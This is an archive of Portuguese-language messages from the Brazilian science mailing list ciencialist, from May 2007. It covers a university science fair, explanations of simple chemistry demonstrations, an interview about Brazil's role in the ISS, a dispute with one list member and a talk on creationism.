TO: "ricardo soares vieira" <rickrsv@yahoo.com.br>, "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 28/05/2007 09:08

Oi Ricardo,

pode dispensar o carro etc. Irei com uma condução da prefeitura de Barretos (Secr. da Educação), provavelmente na 4a feira (a confirmar aqui em Barretos).
Qual o endereço para chegar à UFSCAR e circo da ciência?

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: ricardo soares vieira
Para: Luiz Ferraz Netto
Enviada em: domingo, 27 de maio de 2007 15:15
Assunto: Re: [ciencialist] III Circo da Ciência UFSCa r?=


Olá Professor,

Entrei em contato com a organização do evento, pois não tenho condições de atender o q foi pedido (infelizmente não tenho carro e conheço pouco São Carlos), mas estou no aguardo de uma resposta...

Assim que me responderem te retorno. Pessoalmente acredito que não haverá nenhum problema e gostaria de dizer que fiquei muito contente pelo seu interesse.


Abraço.


Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
Ainda não obtive resposta desse e-mail. Como é Ricardo, 29 e 30 estão ai!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Luiz Ferraz Netto"
Para:
Enviada em: quinta-feira, 24 de maio de 2007 07:53
Assunto: Re: [ciencialist] III Circo da Ciência UFSCar


Olá Ricardo,

se isso é um convite para eu comparecer ao evento nesses dias (ou mesmo antes), tá aceito!
Marque o local de encontro em São Carlos e deixe um carro à disposição para os translados, pois prefiro ir de ônibus (não tem avião aqui em Barretos City). Ache tb um hotel para a estadia.

Que tal?

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ricardo Soares Vieira"
Para:
Enviada em: quarta-feira, 23 de maio de 2007 23:53
Assunto: [ciencialist] III Circo da Ciência UFSCar


Olá,

Nesta terça e quarta feira (29 e 30 de Maio) será realizado no campus
da UFSCar São-Carlos o 3º Circo da Ciência, em conjunto com o evento
"Universidade Aberta" - que apresenta os cursos aos alunos do ensino
médio...

O Circo da Ciência consiste em uma tenda que apresenta experiências
interessantes sobre física, química, biologia e matemática, como forma
de estimular o interesse dos nossos alunos à essas áreas de ciência
básica...

Bom, está feito o convite, quem quiser aparecer por aqui será muito
bem vindo... Quem sabe não me encontram por lá (estarei ajudando nas
demonstrações das experiências)...

p.s. pretendo no ano q vem ajudar na organização do evento, quem sabe
até lá o Professor Leo - o Mestre dos magos neste ramo (vide
http://www.feiradeciencias.com.br)- não possa nos dar algumas dicas ou
mesmo colaborar com novos experimentos... Seria formidável.

Abraços amigos, até mais.

Ricardo S. Vieira.





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SUBJECT: Fw: Duvidas
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 28/05/2007 09:24

Apreciaria respostas químicas .......

agradeço,
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Rose Lane L. G Azedias
Para: leobarretos@uol.com.br
Enviada em: sábado, 26 de maio de 2007 14:59
Assunto: Duvidas


Professor

Sou aluno da Estácio de Pedagogia. Iremos apresentar uma feira de ciência. Vai ser mais uma simulação do que vamos fazer com os alunos. Faz parte da disciplina Conteúdo Metodológico de Ciências.

O fato é que meu grupo escolheu três experiências Cores Ocultas, Teste de Cor e Tinta Invisível.

. Cores Ocultas - Pinta-se com canetinha Pilo um circulo de cores como roxo, verde, preto e o laranja. Em uma faixa de papel poroso que pode ser de filtro de pó de café. Após feito isso molha uma das pontas do papel. Coloca-se em um varal. No papel de cada cor conforme vai puxando a água vai separa as cores das mistura. EX: Verde vai aparecer o azul e o amarelo. Já sabemos fazer, mas como se explica cientificamente?

. Teste de Cor - Separa a água de um repolho roxo em três vidro que vai sair roxa. Um vidro permanece como esta roxa, um se coloca umas gotas de limão e as cor muda para vermelho. O outro coloca sabonete neutro e a cor muda para verde. Agora a mesma pergunta como explica isso?

. Tinta invisível - escreve com limão uma pequeno texto fica invisível, quando passamos o iodo no papel onde está o limão não pega a cor do iodo e aprece o que está escrito. Como explicar?

Se puder nos ajudar agradeço, nossa exposição é terça feira.

Obrigada

Rose Lane

rllgazedias3@gmail.com





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SUBJECT: 'Participação brasileira foi um fracasso'
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB <grupohistoriadobrasil@yahoo.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <pedraderoseta@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>
DATE: 28/05/2007 11:13





'Participação brasileira foi um fracasso'

Entrevista

John Logsdon: dIretor do Instituto de Políticas Espaciais da Universidade
George Washington

Especialista diz que País mostrou entusiasmo, mas não conseguiu cumprir
compromissos e resolveu fazer vôo de Marcos Pontes

BOSTON

Já é tarde demais para o Brasil ter papel relevante na Estação Espacial
Internacional (ISS). Pode ser usuário, mas só se tiver "bons projetos" para
propor. É assim que John Logsdon, membro do Comitê de Conselho da Nasa,
avalia as perspectivas do País de eventual envolvimento com os trabalhos da
ISS. Não há razão para desistir de cooperação futura, porém. "O Brasil está
com o olho roxo, mas não foi nocauteado." Abaixo, trechos da entrevista
concedida ao Estado.

O Brasil entrou para o projeto de construção da ISS há dez anos e nunca
construiu uma única peça. Seria justo classificar a participação do País
como um fracasso?

Acho que sim. O País mostrou entusiasmo, mas não cumpriu nenhum dos
compromissos que assumiu. Depois deu meia volta e decidiu fazer o vôo do
astronauta (Marcos Pontes) com a Rússia.

A avaliação do Brasil era de que Pontes não teria mais chances de voar com a
Nasa por causa dos atrasos causados com a tragédia da Columbia.

O vôo de um astronauta brasileiro estava diretamente ligado ao cumprimento
dos compromissos na ISS. Certamente, o não-cumprimento dessas obrigações e a
redução dos vôos após o acidente com a Columbia tornaram pouco provável que
(Pontes) conseguisse voar. Mas, ainda assim, foi uma certa surpresa para os
Estados Unidos saber que o Brasil tinha recursos para pagar à Rússia por um
vôo, mas não para financiar as contribuições que prometera para a ISS.

A opção pelo vôo pago com a Rússia foi bastante criticada no Brasil,
inclusive dentro da comunidade científica. Alguns chegaram a comparar Pontes
a um turista espacial. O senhor concorda com isso?

Sim. Ele esteve na estação apenas por alguns dias, fez apenas algumas
coisas... (pausa) Pensando bem, talvez isso seja injusto. Até o lançamento
da ISS, a maioria dos astronautas passava cerca de uma semana no espaço,
então sua experiência não foi tão diferente do que ocorria nos anos 80 e 90.
Mas, basicamente, ele esteve na estação como um visitante.

O que o Brasil pode fazer para recuperar seu prestígio na ISS?

Acho que já é tarde demais para fazer qualquer coisa, a não ser se tornar um
usuário da estação por meio de experimentos. A ISS será um laboratório
aberto a todos os usuários, e, se os cientistas brasileiros tiverem bons
projetos para propor, o País poderá participar dessa maneira. Mas certamente
é tarde demais para propor qualquer tipo de equipamento, mesmo peças
modestas, como o palete expresso (que fazia parte do contrato original do
Brasil).

Para um país como o Brasil, com recursos limitados e graves problemas
sociais, quais devem ser as prioridades de um programa espacial?

O Programa Nacional de Atividades Espaciais (PNAE, programa brasileiro) é
bastante claro em suas prioridades, que são observação da Terra,
telecomunicações e capacidade de lançamento. Não há nenhuma menção a vôos
tripulados ou de participação em projetos de exploração espacial. Acho que a
ênfase nesses benefícios para a sociedade brasileira é inteiramente
apropriada, e é nessa direção que a maior parte dos recursos deve ser
alocada.

E quanto a outras missões espaciais, além da ISS?

A discussão sobre participar em explorações além da órbita da Terra deve ser
secundária, mas não zero. Nesse momento, a Nasa está discutindo projetos de
exploração com 12 outras agências espaciais (Alemanha, França, Inglaterra,
Rússia, China, Canadá, Índia, Ucrânia, Austrália, Coréia, Itália e Japão), e
os únicos dois países que não participam são Brasil e Israel. Me parece que
seria do interesse do Brasil, ao menos, participar das discussões. Afinal de
contas, se a previsão de o País se tornar uma potência industrial nas
próximas décadas estiver correta, acho que o Brasil vai querer ter um
programa espacial completo.

E o Brasil seria bem-vindo nessas discussões, mesmo depois do que aconteceu
na ISS?

Acho que sim. O Brasil está com um olho roxo, mas não foi nocauteado. Os
Estados Unidos reconhecem a importância estratégica do Brasil no hemisfério
e não vão tomar atitudes que possam empurrar o País na direção da China,
Rússia ou outros potenciais adversários futuros.

Quem é:
John Logsdon

Em 2003, participou do comitê de investigação do
acidente com o ônibus espacial Columbia

Na área acadêmica, é professor e historiador de
políticas espaciais

Como membro do Comitê de Conselho da Nasa, atua
ao lado de especialistas que apóiam a administração da agência espacial
americana

http://www.estado.com.br/editorias/2007/05/28/ger-1.93.7.20070528.2.1.xml
.




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SUBJECT: Re: O Xadrez do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 11:39

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Se sua diversão é jogar xadrez, então, vamos
> continuar jogando.

Não tem como. Vc não tem peças...

> --- Ah! E não é justo vc censurar minha jogada só
> porque é o dono do tabuleiro.

Claro q é. Se vc tivesse peças - coisa q não tem - e fizesse uma
jogada antidesportiva (xadrez é esporte?) seria rapidamente advertido.

> --- Takata, isto ai é com voce! Estou apenas sendo
> honesto com o que vejo

Então seja honesto: vc sabe ou não resolver? Se não sabe diga: "não
sei resolver a questão proposta". Se sabe, demostre q sabe mostrando a
resolução.

Não adianta ficar reclamando de moderação. Todas as suas mensagens
estão sendo aprovadas.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] III Circo da Ciência UFSCa r?=
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, "ricardo soares vieira" <rickrsv@yahoo.com.br>
DATE: 28/05/2007 12:56

Olá Ricardo,

conformado.
Sairemos daqui às 6:00 h da matina na quarta-feira via UFSCAR. Espero que lá pelos 8:00 h vcs já estejam funcionando! E direitinho!
aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: "ricardo soares vieira" <rickrsv@yahoo.com.br>; "ciencialist" <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 28 de maio de 2007 09:08
Assunto: Re: [ciencialist] III Circo da Ciência UFSCa r?=


Oi Ricardo,

pode dispensar o carro etc. Irei com uma condução da prefeitura de Barretos (Secr. da Educação), provavelmente na 4a feira (a confirmar aqui em Barretos).
Qual o endereço para chegar à UFSCAR e circo da ciência?

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: ricardo soares vieira
Para: Luiz Ferraz Netto
Enviada em: domingo, 27 de maio de 2007 15:15
Assunto: Re: [ciencialist] III Circo da Ciência UFSCa r?=


Olá Professor,

Entrei em contato com a organização do evento, pois não tenho condições de atender o q foi pedido (infelizmente não tenho carro e conheço pouco São Carlos), mas estou no aguardo de uma resposta...

Assim que me responderem te retorno. Pessoalmente acredito que não haverá nenhum problema e gostaria de dizer que fiquei muito contente pelo seu interesse.


Abraço.


Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
Ainda não obtive resposta desse e-mail. Como é Ricardo, 29 e 30 estão ai!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luiz Ferraz Netto"
Para:
Enviada em: quinta-feira, 24 de maio de 2007 07:53
Assunto: Re: [ciencialist] III Circo da Ciência UFSCar


Olá Ricardo,

se isso é um convite para eu comparecer ao evento nesses dias (ou mesmo antes), tá aceito!
Marque o local de encontro em São Carlos e deixe um carro à disposição para os translados, pois prefiro ir de ônibus (não tem avião aqui em Barretos City). Ache tb um hotel para a estadia.

Que tal?

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Ricardo Soares Vieira"
Para:
Enviada em: quarta-feira, 23 de maio de 2007 23:53
Assunto: [ciencialist] III Circo da Ciência UFSCar


Olá,

Nesta terça e quarta feira (29 e 30 de Maio) será realizado no campus
da UFSCar São-Carlos o 3º Circo da Ciência, em conjunto com o evento
"Universidade Aberta" - que apresenta os cursos aos alunos do ensino
médio...

O Circo da Ciência consiste em uma tenda que apresenta experiências
interessantes sobre física, química, biologia e matemática, como forma
de estimular o interesse dos nossos alunos à essas áreas de ciência
básica...

Bom, está feito o convite, quem quiser aparecer por aqui será muito
bem vindo... Quem sabe não me encontram por lá (estarei ajudando nas
demonstrações das experiências)...

p.s. pretendo no ano q vem ajudar na organização do evento, quem sabe
até lá o Professor Leo - o Mestre dos magos neste ramo (vide
http://www.feiradeciencias.com.br)- não possa nos dar algumas dicas ou
mesmo colaborar com novos experimentos... Seria formidável.

Abraços amigos, até mais.

Ricardo S. Vieira.





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SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/05/2007 13:25

Definitivamente o listeiro Ferrari está com problemas sérios, a saber:

(a) não sabe os rudimentos da Física e não quer saber.
(b) não sabe os rudimentos da matemática e não quer saber.
(c) quer saber as 'bases' da Física ... mas não sabe; fica perguntando.
(d) quer saber as 'bases' da matemática ... mas não sabe; fica perguntando.

"Enfim, é justamente o que não importa pra fisica que me importa. Entende?"

O que importa para nós, não importa para ele; o que ainda não sabemos, ele tb não sabe.

Ao fim e ao cabo, se ele não conhece a estrutura da física e da matemática (e não se importa com isso!) e não sabe as 'bases' e conceitos primitivos ... o que é que ele sabe? É um mundo oco de saberes?

Será que ele sabe o que é carga elétrica e não quer nos contar? Saberá como funciona a gravitação e esconde esse conhecimento?

Quando é que ele vai nos dar uma mínima informação com substrato? Quando é que ele vai nos dizer uma novidade científica e dar lastro operacional (experimental ou matemático) para tanto?

Quanto tempo ainda vamos suportar essa mentalidade que nada sabe nem do topo nem do alicerce de um conhecimento científico? Vamos ficar respondendo perguntas sem qualquer contexto?
Vamos continuar dando trelas a coisas do tipo "raciocínio é ... sei lá o que ele disse!".
Vamos continuar lendo coisas como "o Hawking é um cara bem intecionado, mas é um equivocado sincero. É simples ver o equivoco de premissa dele." e em seguida 'ler' uma argumentação sem pé e sem cabeça.
Ou frases assim: >Por exemplo, certa vez, não sei se vc estava aqui, ou se acompanhou, mas ""me pus a investigar a visão de mundo da fisica"" conversando também sobre e=mc2...<; mas que petulância! "Eu me pus a investigar a visão do mundo da física, conversando sobre e=mc2" ... mas, o que isso!!!

Minha gente, ou nos reunimos para apenas responder a essas perguntas do Ferrari (dando as respostas como ele quer ouvir), até o ponto de sua "satisfação", deixando todos os demais temas de lado, ou pedimos encarecidamente que ele baixe seu "espírito empreendedor e investigativo" em outra paróquia.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 26 de maio de 2007 13:37
Assunto: [ciencialist] Re: Ferrari: ABC da CIENCIA


Olá Alvaro!

Alvaro >>> Provavelmente você não sabe, mas a física
responde muitas dessas perguntas que você citou.

--- Sim, Alvaro, não digo que não respondem. O que
digo é que as respostas não satisfazem as minhas
perguntas e investigações. É uma questão de irmos nos
aprofundando na investigação da visão de mundo que a
fisica tem e chegamos no limite desta visão. Por
exemplo, certa vez, não sei se vc estava aqui, ou se
acompanhou, mas me pus a investigar a visão de mundo
da fisica conversando também sobre e=mc2 com o Sergio
Taborta. Acho que era este o nome dele. No começo, eu
me pus mesmo a entender mesmo esta visão. Ele foi me
explicando conceito por conceito. Eu ia disendo o que
eu tinha entendido da sua explicação, ele confirmava,
se tinha entendido certo. Se estava errado ele me
esclarecia etc... Ia tudo as mil maravilhas... [ ... ]


SUBJECT: Re: Fw: Duvidas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 13:31

O primeiro caso é de cromatografia. Muitas tintas são produzidas pela
mistura de pigmentos ou corantes diferentes. Cada corante ou pigmento
possui propriedades específicas como afinidade com o papel, tamanho
(vai depender de sua estrutura molecular). Por exemplo, moléculas mais
leves podem se difundir mais rapidamente pelo meio aquoso e pelos
poros da trama de celulose - podendo se espalhar mais pelo papel
molhado, eqto moléculas mais pesadas podem se arrastar com mais
dificuldades. Mas moléculas polares podem se ligar bem firmemente à
celulose, migrando menos. Pela soma desses efeitos, alguns componentes
da tinta migram mais eqto outros migram menos, havendo uma separação
entre eles.

O pigmento presente no repolho roxo, uma antocianina, é um indicador
ácido-base. Dependendo de se uma parte da molécula se encontra
protonada ou desprotonada, a propriedade da molécula de absorver
certos comprimentos de onda se altera - mudando a cor da substância.
(Hortênsias tb respondem à diferença no pH do meio - suas flores
adquirem um tom róseo ou arroxeado dependendo de se o solo é básico ou
ácido.
http://www.cq.ufam.edu.br/cd_24_05/teoria_fazendo_indicador.htm

Celulose sendo corada com solução de iodo?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Apreciaria respostas químicas .......
>
> agradeço,
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Rose Lane L. G Azedias
> Enviada em: sábado, 26 de maio de 2007 14:59
> Assunto: Duvidas
>
> . Cores Ocultas - Pinta-se com canetinha Pilo um circulo de cores
como roxo, verde, preto e o laranja. Em uma faixa de papel poroso que
pode ser de filtro de pó de café. Após feito isso molha uma das
pontas do papel. Coloca-se em um varal. No papel de cada cor conforme
vai puxando a água vai separa as cores das mistura. EX: Verde vai
aparecer o azul e o amarelo. Já sabemos fazer, mas como se explica
cientificamente?
>
> . Teste de Cor - Separa a água de um repolho roxo em três vidro que
vai sair roxa. Um vidro permanece como esta roxa, um se coloca umas
gotas de limão e as cor muda para vermelho. O outro coloca sabonete
neutro e a cor muda para verde. Agora a mesma pergunta como explica isso?
>
> . Tinta invisível - escreve com limão uma pequeno texto fica
invisível, quando passamos o iodo no papel onde está o limão não pega
a cor do iodo e aprece o que está escrito. Como explicar?
>
> Se puder nos ajudar agradeço, nossa exposição é terça feira.
>
> Obrigada
>
> Rose Lane
>
> rllgazedias3@...
>
>
>
>
>
>
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23/05/2007 15:59
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Fw: Feira de Ciências
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 13:33

A batateria!

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> vão juntando os helps ... o somatório deve dar um HELP!
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Jose de Anchieta Almeida da Silva Anchieta" <anchietaalmeida@...>
> Para: <leobarretos@...>
> Enviada em: sexta-feira, 25 de maio de 2007 15:59
> Assunto: Feira de Ciências
>
>
> | Olá profesor, tudo bem, sou professor de Ciências de uma escola de
e Ensino
> | Fundamental e estamos preparando uma feira de ciências, gostaria
da sua
> | ajuda na sugestão de alguns experimentos simples, pois não temos
estruturas
> | de laboratorios, que pudessem ser realizados por alunos de 8ª série.
> | Alguns alunos tem grande interesse pela a área de energia na
Física e
> | tambêm pela parte das substâncias químicas.
> | Sabendo que contaremos com sua coloboração agradecemos desde já e
> | esperamos sua resposta.
> |
> | Prof. José de Anchieta Almeida da Silva
> | Escola Municipal de Ensino Fundamental Marcos Donadon
> | Vilhena - Rondonia.
> |
> | _________________________________________________________________
> | Chegou o Windows Live Spaces com rede social. Confira
> | http://spaces.live.com/
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> |
>




SUBJECT: Re: Fw: Nitrogénio e Fosforo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 13:34

Ele pode encontrar isso em qq enciclopédia - por exemplo, na Barsa.

Isso ele vai encontrar na biblioteca da escola ou do município.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Quem me fornece links para esse consulente?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Osvaldo Fernandes
> Para: leobarretos@...
> Enviada em: sábado, 26 de maio de 2007 06:03
> Assunto: Nitrogénio e Fosforo
>
>
> Bom dia caro Professor.
>
> É pela primeira vez que lhe escrevo e gostária muito que o senhor me
pudesse ajudar. É que na minha escola pediram-me para desenvolver uma
materia que fale dos elementos que constam do assunto deste E-Mail e
mais o seguinte:
>
> Seus Compostos fundamentais, Oxidos, Acidos e Sais.
> Como se Obtem o fosforo
> Propriedades quimicas do fosforo
> compostos que fazem parte do fosforo
> Importância do fosforo
>
> Será que me pode ajudar a desenvolver esta matéria.
> Agradecia imenso
> Atenciosamente
> Osvaldo.
> Osvaldo19_2005@...
>
> __________________________________________________
> Fale com seus amigos de graça com o novo Yahoo! Messenger
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>
>
>
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>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Efeito Casimir
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 13:51

http://br.groups.yahoo.com/group/ciencialist/files/efeitocasimir.gif

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Cadê meus desenhistas? Será que preciso invocar Michelangelo,
Renoir, Gaugin ... ?




SUBJECT: Re: [ciencialist] Re: Fw: Duvidas
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/05/2007 13:54

OK Roberto,
acrescentei tb o artigo: http://www.feiradeciencias.com.br/sala21/21_11.asp .

Tanque 1.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 28 de maio de 2007 13:31
Assunto: [ciencialist] Re: Fw: Duvidas


O primeiro caso é de cromatografia. Muitas tintas são produzidas pela
mistura de pigmentos ou corantes diferentes. Cada corante ou pigmento
possui propriedades específicas como afinidade com o papel, tamanho
(vai depender de sua estrutura molecular). Por exemplo, moléculas mais
leves podem se difundir mais rapidamente pelo meio aquoso e pelos
poros da trama de celulose - podendo se espalhar mais pelo papel
molhado, eqto moléculas mais pesadas podem se arrastar com mais
dificuldades. Mas moléculas polares podem se ligar bem firmemente à
celulose, migrando menos. Pela soma desses efeitos, alguns componentes
da tinta migram mais eqto outros migram menos, havendo uma separação
entre eles.

O pigmento presente no repolho roxo, uma antocianina, é um indicador
ácido-base. Dependendo de se uma parte da molécula se encontra
protonada ou desprotonada, a propriedade da molécula de absorver
certos comprimentos de onda se altera - mudando a cor da substância.
(Hortênsias tb respondem à diferença no pH do meio - suas flores
adquirem um tom róseo ou arroxeado dependendo de se o solo é básico ou
ácido.
http://www.cq.ufam.edu.br/cd_24_05/teoria_fazendo_indicador.htm

Celulose sendo corada com solução de iodo?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
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>
> agradeço,
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Rose Lane L. G Azedias
> Enviada em: sábado, 26 de maio de 2007 14:59
> Assunto: Duvidas
>
> . Cores Ocultas - Pinta-se com canetinha Pilo um circulo de cores
como roxo, verde, preto e o laranja. Em uma faixa de papel poroso que
pode ser de filtro de pó de café. Após feito isso molha uma das
pontas do papel. Coloca-se em um varal. No papel de cada cor conforme
vai puxando a água vai separa as cores das mistura. EX: Verde vai
aparecer o azul e o amarelo. Já sabemos fazer, mas como se explica
cientificamente?
>
> . Teste de Cor - Separa a água de um repolho roxo em três vidro que
vai sair roxa. Um vidro permanece como esta roxa, um se coloca umas
gotas de limão e as cor muda para vermelho. O outro coloca sabonete
neutro e a cor muda para verde. Agora a mesma pergunta como explica isso?
>
> . Tinta invisível - escreve com limão uma pequeno texto fica
invisível, quando passamos o iodo no papel onde está o limão não pega
a cor do iodo e aprece o que está escrito. Como explicar?
>
> Se puder nos ajudar agradeço, nossa exposição é terça feira.
>
> Obrigada
>
> Rose Lane
>
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>
>
>
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>
>
> [As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: [ciencialist] Re: Efeito Casimir
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/05/2007 14:07

É isso ai! Ainda hoje o Casimir estará on-line!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 28 de maio de 2007 13:51
Assunto: [ciencialist] Re: Efeito Casimir


http://br.groups.yahoo.com/group/ciencialist/files/efeitocasimir.gif

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Cadê meus desenhistas? Será que preciso invocar Michelangelo,
Renoir, Gaugin ... ?




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http://www.ciencialist.com


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SUBJECT: Re: Ferrari: ABC da CIENCIA
FROM: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/05/2007 14:17

Sou um dos mais ausentes participantes da lista, ri muito e me incomodei na mesma proporção com as argumentações do Ferrari. Fiquei impressionado com a paciência de muitos colegas da lista, uma virtude que espero um dia ter. Mas a resposta abaixo do Ferrari demonstra que ele não está aberto a aprender nada que não se encaixe em sua visão:

[Alvaro Augusto] Provavelmente você não sabe, mas a física responde muitas dessas perguntas que você citou.

[Ferrari] Sim, Alvaro, não digo que não respondem. O que digo é que as respostas não satisfazem AS MINHAS perguntas e investigações. (meu grifo)

Ferrari fala que o limite dele é apontar mas parece ele aponta para o próprio nariz. Ele é uma singularidade, no sentido matemático. :-) Penso que ignorá-lo é a melhor opção neste momento... pelo menos até que ele responda o exercício que o Takata propôs ou que seja objetivo em pelo menos uma mensagem; o que vier primeiro.


Sandro Silva





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Incrível truque de baralho com cores que mudam
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 28/05/2007 15:57

Confira:

- Incrível truque de baralho com cores que mudam
http://100nexos.com/arquivo/162

Mori


SUBJECT: Re: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 16:02

Os argumentos dele estão parecidos com os do Olavo de Carvalho (mas muito
menos toscos) .

http//observatorio.ultimosegundo.ig.com.br/artigos.asp?cod=286OFC002
http//observatorio.ultimosegundo.ig.com.br/artigos.asp?cod=286OFC002
http//observatorio.ultimosegundo.ig.com.br/artigos.asp?cod=288OFC003

Inclusive alguns membros dessa Ciencialist participaram do debate, no
Observatório. Em casa eu acho que tenho todo o diálogo em formato Word (é
muita coisa, já que o olavo dispersa muito - de propósito)

Gil

Em 26/05/07, Alvaro Augusto (L) <alvaro@lunabay.com.br> escreveu:
>
> Na próxima sexta-feira, 1 de junho, 19h, o engenheiro Eduardo Lutz estará
> na
> UTFPR (antigo CEFET-PR), campus Curitiba, para apresentar a palestra
> "Ciência, Fé, Criacionismo e Evolucionismo". A palestra será no
> mini-auditório e até o momento não sei se haverá espaço para perguntas.
> Obviamente, farei o possível para estar lá. Encontrei uma palestra antiga
> dele em http://www.scb.org.br/slideshow/palestra_2k4.asp e a idéia dele é
> um
> pouco estranha. Ele afirma que nem o criacionismo, nem a teoria da
> evolução
> (que ele chama de "evolucionismo") são ciência. Diz ele: "O evolucionismo
> é
> uma doutrina filosófica que não se encaixa nos padrões rigorosos do método
> científico: ele não se baseia em observação controlada e nem em modelos
> matemáticos para tratar dos aspectos mais importantes. Em lugar de modelos
> matemáticos, encontramos estudos de baixa qualidade. Em lugar de
> observação
> controlada, encontramos observações simples (e fraudes)."
>
> A página do moço pode ser acessada em http://edlutz.freehostingnow.com .
>
> Preciso de ajuda para rebater os argumentos dele, caso haja espaço para
> perguntas. Em tempo, a palestra é promovida pelo Sindicato dos Professores
> da UTFPR, não pela reitoria ou por algum departamento, e até o momento não
> sei se conta com o apoio institucional. Espero que não.
>
> [ ]s
>
> Alvaro Augusto
>
>
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> http://www.ciencialist.com
